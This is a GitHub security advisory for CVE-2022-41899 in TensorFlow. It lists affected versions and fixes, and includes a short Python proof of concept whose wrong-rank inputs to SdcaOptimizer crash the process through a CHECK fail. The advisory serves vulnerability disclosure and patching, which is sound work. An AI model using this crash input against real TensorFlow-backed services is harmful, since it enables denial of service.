GitHub Advisoryadvisory · PyPI
GHSA-27rc-728f-x5w2 `CHECK` fail via inputs in `SdcaOptimizer`
MEDIUM
Official page ↗
- Aliases
- CVE-2022-41899
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-20, CWE-617
- Reviewed
- 2022-11-21
Affected packages
• PyPI tensorflow: < 2.8.4 → fixed in 2.8.4
• PyPI tensorflow: >= 2.9.0, < 2.9.3 → fixed in 2.9.3
• PyPI tensorflow: >= 2.10.0, < 2.10.1 → fixed in 2.10.1
• PyPI tensorflow-cpu: < 2.8.4 → fixed in 2.8.4
• PyPI tensorflow-gpu: < 2.8.4 → fixed in 2.8.4
• PyPI tensorflow-cpu: >= 2.9.0, < 2.9.3 → fixed in 2.9.3
• PyPI tensorflow-gpu: >= 2.9.0, < 2.9.3 → fixed in 2.9.3
• PyPI tensorflow-cpu: >= 2.10.0, < 2.10.1 → fixed in 2.10.1
• PyPI tensorflow-gpu: >= 2.10.0, < 2.10.1 → fixed in 2.10.1
Description
Impact
Inputs `dense_features` or `example_state_data` not of rank 2 will trigger a `CHECK` fail in `SdcaOptimizer`.
```python
import tensorflow as tf
tf.raw_ops.SdcaOptimizer(
sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
loss_type="squared_loss",
l1=0.0,
l2=0.0,
num_loss_partitions=1,
num_inner_iterations=1,
adaptative=False,)
```
Patches
We have patched the issue in GitHub commit 80ff197d03db2a70c6a111f97dcdacad1b0babfa.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Zizhuang Deng of IIE, UCAS
Related
Alias · CVE (1)
- CVE-2022-41899 TensorFlow is an open source platform for machine learning. vulnerability
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-27rc-728f-x5w2 web
- https://nvd.nist.gov/vuln/detail/CVE-2022-41899 advisory
- https://github.com/tensorflow/tensorflow/commit/80ff197d03db2a70c6a111f97dcdacad1b0babfa web
- https://github.com/tensorflow/tensorflow package
- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca_internal.cc web